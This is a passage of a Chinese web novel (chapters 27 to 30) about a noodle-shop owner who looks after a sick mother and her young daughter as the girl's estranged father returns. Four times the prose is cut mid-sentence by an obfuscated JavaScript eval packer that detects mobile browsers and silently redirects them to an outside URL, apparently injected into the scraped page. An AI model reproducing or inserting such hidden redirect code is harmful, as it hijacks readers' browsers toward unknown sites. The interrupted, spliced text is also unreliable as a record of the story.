小月吃了三块排骨，又把碗里的饭吃完了。她今天没喝汤，大概是排骨吃太多了。吃完之后她把碗推到一边，从书包里拿出作业本，开始写作业。 张建国在她对面坐下来，没说话，就那么看着她写。他的眼神很专注，像是在看一件很珍贵的、随时可能会消失的东西。 房寨站在厨房门口看着这一幕，忽然想起了王丽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523599|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她说小月喜欢吃糖醋排骨，以前常给她做，后来做不动了。 现在有人替她做了。 他不知道王丽知道这件事会怎么想。是高兴，还是难过？高兴有人对小月好，难过那个人是张建国？还是两种都有？他分不清。大人的感情太复杂了，不像小月的画那么简单，太阳就是太阳，花就是花，妈妈就是妈妈。 第二天，房寨又去了医院。 这次他带的是糖醋排骨。 不是张建国做的那份，是他自己做的。他想让王丽尝尝小月喜欢吃的东西，让她知道现在有人给小月做了，味道还行，小月吃了三块，说好吃。 王丽今天的精神比昨天还好一点。她能自己坐起来了，不用枕头垫那么高了。护士说她这两天恢复得不错，各项指标都有好转，虽然离出院还远得很，但至少方向是好的。 房寨把保温桶打开，糖醋排骨的味道飘出来，酸甜酸甜的，整个病房都香了。隔壁床的大叔又吸了吸鼻子，这次他老婆没白他一眼，也凑过来看了一眼，说了一句“这个排骨做得真好看”。 王丽吃了一块，嚼了很久。她吃东西还是很慢，但比之前有劲了，咀嚼的动作不再那么费力，牙齿能咬动肉了。 “好吃。”她说。 “小月昨天吃了三块。”房寨说，“说好吃。” 王丽笑了。这次的笑容比以前大了一些，嘴角翘得高了一些，能看到一点点牙齿。她笑起来的样子不像一个躺在病床上的人，像以前那个会给女儿做糖醋排骨的妈妈。 “房寨。”她又叫了一声他的名字。 “嗯。” “你帮了我太多了。”王丽说，“我不知道怎么谢你。” “你别想这些。”房寨把碗收起来，“你把身体养好，比什么都强。等你好起来了，你亲自给小月做糖醋排骨，她肯定更高兴。” 王丽看着他，眼眶又湿了，但这次没让眼泪流下来。她眨了眨眼，把水光眨掉了，然后点了点头。 “好。”她说。 这个“好”字和之前的不一样。之前的“好”是“我知道了”，这次的“好”是“我答应你”。两个字的重量不一样，房寨能感觉到。 从医院出来的时候，天已经快黑了。深秋的白天越来越短，以前五点多还大亮着，现在五点半就暗了。路灯已经亮了，街上的车开着大灯，一辆接一辆地从他身边开过去，车灯刺眼。 房寨骑着三轮车往回走，风从正面吹过来，灌进领口，凉飕飕的。他缩了缩脖子，把领子竖起来，加快了蹬车的速度。 回到店里的时候，小月已经在了。她正在吃面，张建国坐在对面看着她。和昨天一样，没说话，就那么看着。 小月今天穿了一件新外套，粉色的，上面有白色的圆点。周阿姨说她爸给她买的，今天下午带来的，还有一双新鞋、一个新书包、一套新文具。 “她爸这回是真上心了。”周阿姨小声跟房寨说，“你看那外套，质量挺好的，不是地摊货。鞋子也是牌子的，我孙子也穿那个牌子，不便宜。” 房寨看了看小月身上的新外套，又看了看张建国。张建国穿着一件旧夹克，袖口磨得发白了，领子也皱了。他自己的衣服旧得不成样子，给小月买的东西都是新的好的。 他把张建国叫到厨房，从抽屉里拿出那个信封——张建国之前给的一千块钱。 “这个你拿回去。”房寨把信封递给他。 张建国没接，皱着眉问什么意思。 “你给小月买了那么多东西，你自己衣服都旧了。这个钱你拿着，给自己买件新衣服。” 张建国看着那个信封，沉默了几秒。他的表情变了，不是生气，不是感动，是一种说不出来的复杂。像是被人戳到了什么柔软的地方，想藏起来但没藏住。 “不用。”他把信封推回来，“这钱是给你的，你别还我。” “那我给你存着。”房寨把信封放回抽屉，“等小月需要的时候用。” 张建国没再说什么，转身出去继续看小月写作业了。 房寨站在厨房里，透过窗口看着外面。小月在写作业，张建国在看她，两个人隔着一张桌子，中间的距离已经很近了，不像之前隔着一整条街那么远。 他忽然想，也许这个家还能拼起来。不是变回原来的样子——原来的样子已经碎了，碎得很彻底。但可以拼出一个新的样子，不一样的，也许没那么好看，但至少是完整的。 他不知道能不能成，但至少有人在努力。 这就够了。 28.第 28 章 十一月来了。 天气一下子冷了很多，早上出门的时候哈气能看到白雾了。房寨从柜子里翻出一件厚外套穿上，黑色的，去年在批发市场买的，九十九块钱，穿了一个冬天，袖口有点起球了，但还能穿。他把领子竖起来，骑着三轮车往店里去，风吹在脸上像刀割一样，耳朵冻得通红。 店里的暖气不太好用，开了半天还是温温的，不热。房寨检查了一下，发现是暖气片里有气，排了气之后暖气才慢慢热起来。周阿姨来了之后第一件事就是摸暖气片，摸到是热的才放心，说冬天没暖气不行，客人坐不住。小赵来了之后第一件事是脱外套，店里暖了，穿不住厚的。 菜单又换了一轮。 凉面彻底下架了，酸梅汤和绿豆汤也不卖了。现在的主打是煲仔饭、红烧牛肉面、排骨面、炸酱面、萝卜炖牛腩。房寨又加了一个新品——羊肉汤。 羊肉汤是系统推荐的。天冷了吃羊肉，温补，暖身，适合冬天。房寨没怎么做过羊肉，怕膻味太重，试了好几次才找到方法。羊肉先泡水，泡两三个小时，把血水泡掉。然后焯水，加姜片料酒，撇掉浮沫。炖的时候加白芷、草果、花椒、小茴香，这些香料能去膻增香。炖两个多小时，羊肉软烂，汤色奶白，喝起来鲜而不膻。 他定价二十五块钱一碗，配两个烧饼。烧饼是从隔壁的烧饼店买的，一块钱一个，他加在羊肉汤里一起卖，省了自己做的麻烦。客人可以单点羊肉汤，也可以点套餐，套餐加两个烧饼，二十七。 羊肉汤上架的第一天卖得不好，只卖了几碗。大部分人不知道他出了新品，点餐的时候还是看老几样。第二天房寨在群里发了个通知，又写了个大招牌立在门口——“新品羊肉汤，暖身驱寒，二十五元一碗”。第三天开始有人点了，第四天卖得更多了，一周之后羊肉汤的销量已经赶上了牛肉面。 有个老客人专门从城北开车过来喝羊肉汤，说喝完之后浑身暖洋洋的，开车回去的时候都不觉得冷了。房寨听了挺高兴的，给那碗汤多舀了几块羊肉。 张建国现在每天都来，从早待到晚。 他已经不把自己当外人了，什么活都干，有时候比房寨还操心。早上他来的时候会带一袋包子，分给房寨和小赵，有时候周阿姨来了也有份。包子是他从家门口的包子铺买的，猪肉大葱的，皮薄馅大，很好吃。房寨说过不用买，他不听，第二天还是带，后来房寨就不说了。 他的厨艺进步很快。红烧牛肉面已经做得和房寨差不多了，煲仔饭的锅巴比之前更脆了，糖醋排骨小月说比第一次做的好吃。房寨开始教他做羊肉汤，教了两遍他就会了，炖出来的汤颜色味道都还行，虽然比房寨的差一点，但已经很不错了。 房寨有时候下午出去买菜或者去医院，店里就交给张建国和小赵。张建国在厨房里做菜，小赵在外面点单收银，两个人配合得挺好。客人不知道张建国不是老板，以为他是新来的厨师，也没人多问。 小赵对此很有意见，但这次不是因为张建国学得快，是因为——“老板你对他比对我好，你教他煲仔饭教了两遍就会了，你教了我二十遍了我还不会。”房寨说那你去找他学啊，小赵愣了一下，然后就去找张建国学煲仔饭了。张建国教得很耐心，比房寨还有耐心，一步一步地讲，小赵学得比以前快了一些。 小月和张建国的关系在慢慢变好。 她现在会主动跟张建国说话了，虽然还是很简单的话——“今天吃什么”、“我渴了”、“走吧”。但说话的频率比以前高了很多，有时候一天能说十几句。张建国每次都认真回答，不敷衍，即使小月只是说一个“水”字，他也会倒一杯温水端过去放在她右手边，因为小月是右撇子，放在右边她顺手。 小月还是每天来店里，吃一碗面，写作业，然后跟张建国一起走。张建国送她回家，有时候走路，有时候骑他的电驴。小月坐在电驴后面，搂着张建国的腰，风把她的头发吹起来，张建国会骑慢一点，怕她冷。 房寨有一次在门口看到他们骑电驴离开的样子。小月搂着张建国的腰，脸贴在他后背上，书包背在身后，鼓鼓囊囊的。张建国骑得很慢，很稳，转弯的时候特别小心。他们的影子被路灯投在地上，一个大的坐在前面，一个小的坐在后面，两个影子连在一起，像一个人。 他觉得，也许这个家真的能拼起来。 十一月的第二周，系统面板弹出了一条消息。 【季度总结已生成。】 【开店天数：80天】 【服务食客总数：约3500人】 【平均满意度：92.7分】 【总净收入：约32000元】 【房贷已还：约85000元（含系统奖励）】 【当前剩余本金：1,345,000元】 【系统评价：店铺经营已步入正轨，建议考虑下一步扩张计划。】 【新功能解锁：分店管理（需厨艺等级达到高级）。】 【当前厨艺经验值：2150/3000（距离高级还差850）。】 房寨看着这些数字，发了很久的呆。 三个月，还了八万五的房贷。加上之前摆摊还的，总共还了将近十八万。一百五十二万变成了一百三十四万。虽然还差得远，但按照这个速度，也许五年、六年就能还完。对于一个曾经每个月只能还六千三、还要靠花呗周转的人来说，这个速度已经很快了。 但他更在意的是那个数字——三千五百个人吃过他做的饭。 三千五百个人。一个小学才多少人？他以前上的小学，一个年级两个班，一个班四十多人，全校也就五百多人。三千五百个人，是七个小学的人。这些人里，有的只来了一次，有的天天来，有的大老远从城北开车过来，有的专门在群里蹲他的消息。他们来自不同的地方，做着不同的工作，有着不同的故事，但他们都在他的店里吃过一碗面、一份饭、一碗汤。 房寨把记账本翻开，在第一页写下了这个月的目标：“净赚一万八，学会一个新菜。” 新菜他想做红烧肉。 之前张建国做过一次，很好吃，但那是张建国做的，不是他做的。他想自己掌握这道菜。红烧肉看着简单，做起来难。选肉、切块、焯水、炒糖色、炖煮、收汁，每一步都有讲究。肉要五花三层，肥瘦相间，切块要大小均匀，太大了不入味，太小了一炖就散。焯水要冷水下锅，慢慢升温，把血沫逼出来。炒糖色是最难的，火候不到颜色不红亮，火候过了糖就苦了。 他试了好几次。第一次糖色炒苦了，整锅肉都是苦的，倒掉了。第二次糖色炒嫩了，颜色发黄，不够红亮，味道还行但不好看。第三次糖色刚好，但炖的时间不够，肉不够烂。第四次炖够了时间，但收汁没收好，汤汁太稀，挂在肉上不够浓稠。第五次，终于做出一锅像样的了。 颜色红亮，肥肉入口即化，瘦肉不柴，汤汁浓稠地挂在每一块肉上。配一碗米饭，浇一勺汤汁，能吃三碗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529070|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把这锅红烧肉端给小赵、周阿姨、张建国尝。三个人都说好吃。小赵说比张建国做的好吃，张建国看了他一眼，小赵赶紧改口说“差不多差不多”。周阿姨说这个肉她孙子肯定爱吃，问房寨能不能教她做。房寨说行，明天教你。 红烧肉上架那天，房寨在群里发了一张照片。照片里的红烧肉装在白色碗里，颜色红亮，肥肉透明，瘦肉紧实，汤汁浓稠，上面撒了几粒白芝麻。群里的人又疯了，有人说“寨哥儿你这是要开店还是开画展”，有人说“这个颜色也太好看了吧”，有人说“我中午就去给我留一份”。 红烧肉定价二十八元一份，配一碗米饭。不算便宜，但房寨觉得值。一斤五花肉三十多块钱，一份红烧肉要用半斤肉，加上糖、酱油、香料、人工、房租，成本就十几块了。卖二十八，毛利十几块，不算高。 红烧肉的销量比房寨想的好。第一天卖了二十多份，第二天三十多份，一周之后稳定在每天四十份左右。有人专门为了红烧肉来的，点一份红烧肉配一碗米饭，吃得干干净净。有人吃完还要打包一份带回去，说给家里人尝尝。有个老客人一周吃了五次红烧肉，房寨怕他吃出脂肪肝，劝他少吃点，他说“死也要吃”。 房寨觉得这人说话有点夸张，但心里是高兴的。 十一月的第三周，房寨去医院的时候，王丽给了他一个信封。 信封很厚，里面装着钱。 “这是什么？”房寨没接。 “小月的生活费。”王丽把信封放在床头柜上，“我不能白让你照顾她。” 房寨看着那个信封，又看了看王丽。她比之前好了一些，脸上的肉多了一点，虽然还是很瘦，但至少不像骷髅了。头发长出了一点，黑黑的，短短的，像刚割过的草坪。她的眼睛也亮了一些，不是那种火柴划亮的光，是那种灯泡通上电的光，持续地、稳定地亮着。 “你哪来的钱？”房寨问。 “我妹妹给的。”王丽说，“她来看过我，留了一些钱。” 房寨想了想，把信封收下了。不是因为他想要这个钱，是因为他知道王丽需要这个心安。她没办法照顾小月，心里已经很难受了，如果连钱都不出，她会更难受。 “我会记着的。”房寨说，“每一笔都记着，以后给小月。” 王丽点了点头。 房寨把钱收进口袋，坐在床边，跟王丽说了小月最近的情况。说她穿了新外套，粉色的，很好看。说她吃了糖醋排骨，吃了三块，说好吃。说她跟张建国的关系在变好，现在会主动说话了，会说“明天见”了。 王丽听着，没有说话，脸上没有什么表情。但房寨注意到她的手指在被子上轻轻动了一下，像是在摸什么东西，又像是在抓什么东西。 “张建国对小月好。”房寨说，“这一点你放心。” 王丽沉默了很久。 “他以前对小月也好。”她终于开口了，“但他走了。” 这句话说得不重，但房寨听出了里面的分量。走了，比什么都伤人。不是对你不好，是对你好过，然后走了。那种落差，比从来没被好过还难受。 房寨不知道该怎么接这句话。 “人都会变的。”他最后说了一句。 王丽没再说话了。她转过头看着窗外。窗外的天很蓝，没有云，阳光照在对面的楼上，把整栋楼染成了金色。有一只鸟从窗前飞过，很快，一眨眼就不见了。 王丽看着那只鸟飞走的方向，看了很久。 29.第 29 章 冬至那天，店里忙得脚打后脑勺。 北方人冬至吃饺子，南方人吃汤圆，但房寨的店里两种都不卖，卖的是煲仔饭和羊肉汤。他本来以为冬至大家都会去吃饺子和汤圆，店里生意会差一些，结果正好相反——很多人吃完饺子，又跑来他店里喝羊肉汤，说喝完了暖和。 中午十一点半就开始排队了，一直到下午两点都没断过。房寨在厨房里忙得汗都出来了，外套脱了只穿一件长袖T恤，袖子卷到手肘。张建国在旁边帮他打下手，切肉、盛汤、打包，两个人配合默契，像两台配合了很久的机器。 小赵在外面点单收银，嗓子又喊哑了。周阿姨洗碗洗到手发白，水一盆一盆地换，洗洁精的瓶子空了一瓶又一瓶。 下午两点多，客流终于少了。房寨从厨房里出来，靠在墙上喘气。张建国也出来了，两个人在店门口站着，谁都没说话，就看着街上的人来人往。 “寨哥，今天卖了多少份羊肉汤？”张建国问。 “没数，估计有五六十碗。” “那今天收入不少。” 房寨点了点头，没多说什么。他不习惯跟人谈钱，尤其是跟张建国。张建国不要工资，他也不好意思在他面前说赚了多少。 傍晚的时候，小月来了。 她今天穿了一件红色的棉袄，新的，张建国上周给她买的。红色很正，衬得她的小脸白白的，像年画上的娃娃。她走进来的时候，店里的客人都多看了她几眼，有人说“这小姑娘真好看”，有人说“这棉袄颜色真正”。 小月坐在她的椅子上，把书包放下来，然后从书包里掏出一个东西，放在桌上。 是一幅画。 画的是三个人。左边是一个男人，穿着围裙，手里拿着锅铲。中间是一个小女孩，扎着两个小辫子，手里端着一碗面。右边是一个女人，坐在病床上，头上包着花布巾，手里拿着一朵花。三个人都笑着，笑得很开心。 画的右下角写着一行字：冬至快乐。 房寨看到这幅画的时候，鼻子一酸，差点没忍住。 “小月，这是你画的？” 小月点了点头。 “什么时候画的？” “今天下午，在学校画的。”小月说，“美术课，老师说画一幅冬至的画，我就画了这个。” 房寨把那幅画看了好几遍。画里的那个男人，围裙、锅铲、脸上的笑，一看就是按照他画的。那个小女孩，扎着小辫子、端着面，是小月自己。那个女人，病床上、花布巾、手里的花，是妈妈。 三个人，在一张纸上，笑着。 他忽然想到，这是小月想要的画面。不是只有妈妈，不是只有他，是三个人在一起。她把自己放在中间，左边是做饭的叔叔，右边是生病的妈妈，她端着一碗面，大概是那碗每天都要吃的阳春面。 张建国站在旁边，也看到了那幅画。他的表情很复杂，嘴角动了一下，像是在笑，又像是在忍着什么。他没说话，转身回了厨房。 房寨跟进去的时候，看到他站在水池边，水龙头开着，水哗哗地流，但他没有在洗碗，手放在水池里，一动不动。 “建国。”房寨叫了一声。 张建国没回头，肩膀动了一下，像是在擦脸。 “水凉，别冲了。”房寨说。 张建国关掉水龙头，转过身来。他的眼睛红了，但没有哭。他走到灶台边，拿起锅铲，开始炒菜。动作和平时一样利索，但房寨注意到他的手在抖，锅铲碰到锅边的时候发出轻微的响声，叮叮当当的。 晚上关店之后，房寨把那幅画贴在了收银台后面的墙上。和小月之前画的《我和妈妈》贴在一起，两幅画挨着，一幅是两个人，一幅是三个人。 他退后两步看了看。两幅画的风格一样，线条歪歪扭扭的，颜色涂出了边界，但那种感觉是一样的——一个小孩在画她心里最重要的东西。第一幅画里最重要的是妈妈，第二幅画里多了一个做饭的叔叔和一个穿着围裙的爸爸。 房寨把画扶正，去厨房收拾东西了。 冬至过后的第二天，房寨去医院看王丽。 他带了一份饺子。不是他包的，是他买的，速冻的，煮了一下装在保温盒里。他知道王丽吃不了几个，但冬至嘛，总得吃点饺子。 王丽的精神比之前好了很多。她能自己坐起来了，不用人扶，也不用枕头垫那么高。她脸上的肉多了一些，颧骨没那么突出了，脸色也从蜡黄变成了淡黄，有了一点活人的样子。头发长了一小截，黑黑的，短茬茬的，像刚割过的草坪，摸上去有点扎手。 “今天气色真好。”房寨把保温盒放在床头柜上。 王丽笑了笑。她现在笑的时候嘴角能翘得很高了，能看到上下两排牙齿。牙齿很白，和她瘦削的脸不太相称，像是从另一个人身上借来的。 “小月昨天画了一幅画。”房寨把手机拿出来，翻出照片给王丽看。 王丽接过手机，看着那幅画。 她看了很久。 房寨不知道她在看什么，是看小月的画技进步了，还是在看画里的人，还是在看画下面的那行字——“冬至快乐”。她看了大概有一分钟，然后把手机还给房寨，低下头，用被子角擦了擦眼睛。 “她画了你。”王丽说。 “嗯，画了。” “还画了张建国。” “嗯。” 王丽沉默了一会儿。 “小月喜欢你。”她说。 房寨不知道该怎么接这句话。 “她也喜欢张建国。”房寨说。 王丽点了点头，没再说什么。她拿起一个饺子，咬了一小口，嚼了很久，慢慢咽下去，又咬了一口。她吃了三个饺子，比之前吃的东西都多。 “好吃吗？”房寨问。 “好吃。”王丽说，“但不是你做的。” 房寨愣了一下，然后笑了。王丽也笑了，两个人对着笑了一下，笑得不大，但很真。 从医院出来的时候，天已经黑了。房寨骑着三轮车往回走，路上的车少了很多，大概是冬至都回家吃饭了。路灯一盏接一盏地亮着，橘黄色的光洒在地上，把整条街照得很温暖。 他想，王丽说得对，饺子不是他做的。他买了速冻的，煮了一下，装进保温盒，带去给一个躺在病床上的女人吃。她吃出来了，但她说好吃。不是因为他煮得好，是因为有人记得她。 冬至，有人记得给她带饺子。 这就够了。 回到店里的时候，张建国还没走。他坐在靠窗的位置上，面前放着一碗已经凉了的茶，看着窗外出神。 “你怎么还没走？”房寨问。 “等你。”张建国说，“我有事跟你说。” 房寨在他对面坐下来。 “我想租个房子。”张建国说，“租在城南，离小月近一点。我现在住的地方太远了，每天来回要两个多小时，有时候赶不上送她回家。” 房寨看着他，等他说下去。 “我找了个工作，在城南的一个工地上，做电焊。工资不高，但够用了。”张建国说，“我想把小月接过来跟我住。” 房寨沉默了几秒。 “王丽知道吗？” “还没跟她说。”张建国说，“我想先问问你的意见。” 房寨想了想。张建国要租房子，要找工作， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531903|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要把小月接过去住。这些事他一个人在想，一个人在做，没有问过王丽，没有问过小月。 “你应该先跟王丽说。”房寨说，“她是小月的妈妈。” 张建国低下头，看着那碗凉茶。 “我怕她不同意。” “那你就让她同意。”房寨说，“不是说服她，是让她相信你。” 张建国抬起头看着房寨。他的眼神里有迷茫，有不确定，有害怕。这个人以前做过错事，现在想弥补，但他不知道该怎么弥补，不知道从哪里开始。 “你以前为什么走？”房寨问。 这个问题他憋了很久了，一直没问。他觉得自己没资格问，他不是王丽的家人，不是小月的亲戚，只是一个做面的。但他还是问了。 张建国沉默了很久。 “我那时候年轻，不懂事。”他说，“觉得自己活得不如意，就想跑。跑得越远越好，好像跑远了问题就不存在了。” “现在呢？” “现在跑不动了。”张建国说，“也不想跑了。” 房寨看着他，点了点头。 “你跟王丽好好说。她不是不讲道理的人。” 张建国嗯了一声，站起来走了。走到门口的时候，他又回过头来。 “寨哥，谢谢你。” 房寨摆了摆手，示意他快走。 张建国走了之后，房寨一个人坐在店里，把那碗凉茶倒了，重新泡了一杯热的。他端着茶杯站在窗前，看着外面的街道。街上没什么人了，只有几盏路灯还亮着，把空荡荡的街道照得很清楚。 他想起王丽说的话。 “小月喜欢你。” 他想，小月喜欢他，是因为他每天给她做面。小月喜欢张建国，是因为张建国是她爸爸。这两种喜欢不一样，一种是在胃里，一种是在血里。胃里的喜欢会变，血里的喜欢变不了，不管张建国以前做了什么，小月心里那个位置始终是留给他的。 房寨把茶喝完，关了灯，锁了门。 三轮车的座垫很凉，一坐上去凉意就透过裤子钻进肉里。他把外套裹紧，蹬着车往城中村的方向去。 小橘猫现在每天晚上都蹲在楼道口等他。它已经不怕他了，看到他来就跑过来蹭他的腿，喵喵叫着要吃的。房寨从口袋里掏出猫粮——他现在不喂火腿肠了，太贵，改买散装猫粮，一大袋才二十块钱，能吃一个月。 小橘猫低头吃猫粮，吃得很香，咯吱咯吱的。房寨蹲在旁边看着它，伸手摸了摸它的背，猫的毛很软，摸上去很舒服。 “你今天吃了什么？”他跟猫说。 猫当然不会回答。 “我吃了饺子。速冻的，不好吃。” 猫吃完了，舔了舔嘴，跳上台阶，蹲在门口等他开门。房寨开了门，猫先进去了，跳上那把塑料凳子，蜷成一团，闭上眼睛。 房寨洗了澡，躺在床上，翻开手机。 群里有人在发今天冬至的照片。有饺子的、有汤圆的、有羊肉汤的、有煲仔饭的。有人拍了他店门口排队的照片，队伍排了十几米长，弯弯曲曲的，一直排到隔壁那家店的门口。照片下面配了一行字：“寨哥儿的店，冬至比过年还热闹。” 房寨看着这张照片，忽然觉得有点骄傲。 不是因为他做了多少生意，赚了多少钱。是因为冬至这一天，有那么多人选择来他的店里吃饭。他们可以吃饺子，可以吃汤圆，可以回家跟家人一起吃。但他们选择了来寨哥儿，坐在那间不大的店里，吃一碗羊肉汤，或者一份煲仔饭，或者一碗红烧牛肉面。 他们把他的店当成了冬至可以去的地方。 这比任何夸奖都让他高兴。 30.第 30 章 十二月下了第一场雪。 不是那种铺天盖地的大雪，是那种细细密密的小雪，像盐粒一样从天上撒下来，落在地上就化了，只留下一片湿漉漉的印子。房寨早上出门的时候，雪花打在脸上，凉丝丝的，一碰就化了。城中村的巷子里，地面上薄薄地积了一层水，踩上去啪嗒啪嗒的，裤腿湿了一圈。 到了店里，暖气已经开了。周阿姨比他还早，正在拖地，地拖得亮亮的，能照出人影来。她今天穿了一件红色的棉袄，说是儿子给买的，过年穿的，先穿出来试试。 “好看吗？”周阿姨问。 “好看。”房寨说。 周阿姨笑了，拖着地哼起了歌。调子不太准，但听着挺开心的。 张建国来得也早。他今天穿了一件新外套，黑色的，看起来挺厚实，领子竖起来，把半张脸都遮住了。他进门的时候带进来一股冷风，房寨打了个哆嗦。 “你今天怎么这么早？”房寨问。 “去看了个房子，就在小月学校旁边，走路十分钟。”张建国把外套脱了，挂在椅背上，“一室一厅，不大，但够两个人住了。” “租了？” “交了定金，下周签合同。”张建国说着，系上围裙，开始准备中午的料。 房寨看着他切菜的动作，比以前更利索了，刀起刀落，土豆丝切得又快又匀。他的手很稳，不像之前那样会抖了。大概是心里踏实了，手就不抖了。 “王丽那边，你跟她说了吗？”房寨问。 张建国切菜的手停了一下，然后又继续切。 “说了。” “她怎么说？” “她说她想想。” 张建国的声音很平静，但房寨注意到他切菜的速度慢了下来，每一刀都切得很用力，像是把什么情绪切进了土豆里。 房寨没再问了。这种事急不得，就像炖汤，火候到了味道自然就出来了。 雪下了一整天，从早下到晚，没停过。 店里的生意比平时好。天冷了，大家都想吃热乎的，羊肉汤卖得特别快。中午炖的两锅羊肉，不到一点就卖光了。房寨又炖了一锅，下午也卖得差不多了。 小月来的时候，身上落了一层雪，头发上白花花的，像顶着一头碎银子。张建国拿毛巾帮她擦头发，动作很轻，一下一下的，像在擦一件易碎品。 “爸爸。”小月忽然叫了一声。 张建国的手停住了。 这是小月第一次叫他爸爸。 之前她都是不叫的，或者说“你”，或者什么都不叫。张建国送她回家的时候，她说“走了”，不说“爸爸再见”。她让他帮忙倒水的时候，她说“水”，不说“爸爸帮我倒水”。张建国从来没催过她叫爸爸，也没问过她为什么不叫。他只是在等。 等了快两个月，等到了。 “嗯。”张建国应了一声，声音有点抖。 “今天下雪了。”小月说。 “嗯，下雪了。” “明天还会下吗？” “天气预报说还会下。” 小月点了点头，没再说什么，低下头开始吃面。她今天吃的是阳春面，最普通的那种，清汤、细面、葱花、一滴猪油。她吃得很慢，一口一口的，和每天一样。 张建国站在旁边，手不自觉地攥着毛巾，攥得指节都发白了。他的眼眶红了，但没有哭。他看了小月好几秒，然后转身去了厨房。 房寨在厨房里看到了刚才那一幕。他什么都没说，把灶台上的羊肉汤盛了一碗，放在旁边凉着，等张建国进来的时候递给他。 “喝口汤，暖暖。” 张建国接过碗，喝了一口，又喝了一口。他的喉结上下动了一下，像是在咽什么东西。 “寨哥。”他说。 “嗯。” “她叫我爸爸了。” “我听到了。” 张建国端着碗，站在灶台前面，背对着房寨。他的肩膀微微抖了一下，不知道是因为冷还是因为别的什么。 房寨没再说话，低下头继续切菜。 那天晚上关店之后，房寨去医院看王丽。 雪还在下，比白天大了。路上的积雪已经有脚面那么深了，三轮车的轮子碾过雪地，发出咯吱咯吱的声音，和以前推车的声音很像。他想起几个月前推着那辆破推车在街上走的日子，轮子也是咯吱咯吱响，和现在一模一样。 到了医院，停好车，抱着保温桶上三楼。走廊里很安静，只有护士站的小护士在低声打电话，声音很小，听不清说什么。墙上的灯还是那么亮，白晃晃的，照得人眼睛不舒服。 王丽的病房门开着一条缝，里面透出暖黄色的光。房寨推门进去，王丽正靠在床头看书。是一本杂志，翻到中间，上面有一篇关于育儿知识的文章，讲怎么跟孩子沟通。 “看什么呢？”房寨把保温桶放在床头柜上。 “随便看看。”王丽把杂志合上，放在枕头旁边。 房寨打开保温桶，今天带的是红枣银耳汤。银耳炖得很烂，胶质都炖出来了，汤是粘稠的，甜丝丝的。他倒了一碗，递给王丽。王丽接过去，用勺子舀了一口，慢慢喝了。 “今天小月叫张建国爸爸了。”房寨说。 王丽的勺子停在半空中，停了两秒，然后继续舀汤，喝了一口。 “她终于叫了。”王丽说，声音很轻，像是在跟自己说话。 “张建国租了房子，在小月学校旁边，一室一厅。他说想接小月过去住。”房寨说这句话的时候，一直在看王丽的表情。 王丽没有表情。 她就那么坐在床上，手里端着碗，眼睛看着碗里的汤。汤已经不冒热气了，大概凉了。她看着那碗凉了的汤，看了好一会儿。 “他跟我说了。”王丽说。 “你怎么想的？” 王丽把碗放在床头柜上，躺下来，看着天花板。天花板上有几块水渍，形状像云，又像山。 “我想让小月过正常的生活。”她说，“有人接她放学，有人给她做饭，有人陪她写作业。这些我都给不了她了。” 房寨想说“你以后可以的”，但这句话他说不出口。他不知道王丽以后能不能站起来，能不能出院，能不能像以前一样给小月做糖醋排骨。他不知道，王丽也不知道。 “张建国现在不一样了。”房寨说。 王丽没有接话。 房间里很安静，暖气片里的水声咕噜咕噜的，像一条小河在墙里流淌。窗外有风，吹得玻璃窗微微震动，发出很轻很轻的嗡嗡声。 “房寨。”王丽忽然叫了他一声。 “嗯。” “你帮我盯着他。”王丽说，“他要是对小月不好，你告诉我。” 房寨想说“他不会的”，但他没说。他点了点头，说了一个字：“好。” 王丽转过头看着他，笑了一下。那个笑容很轻，像窗外的雪花，落在地上就化了。但房寨看到了，在那个笑容里，他看到了一个女人把一个孩子托付给另一个人的决心。不是放弃，是托付。因为她知道自己够不到了，所以找了一个能够到的人。 从病房出来的时候，房寨在走廊里站了一会儿。走廊很长，灯很亮，尽头还是黑的。但那幅儿童画旁边又多了一幅画，是一个小朋友画的，画的是一个医生在给病人看病，旁边写着“谢谢医生”。画得很幼稚，但很真诚，房寨站在那幅画前面看了几秒。 他想起小月画的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534391|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 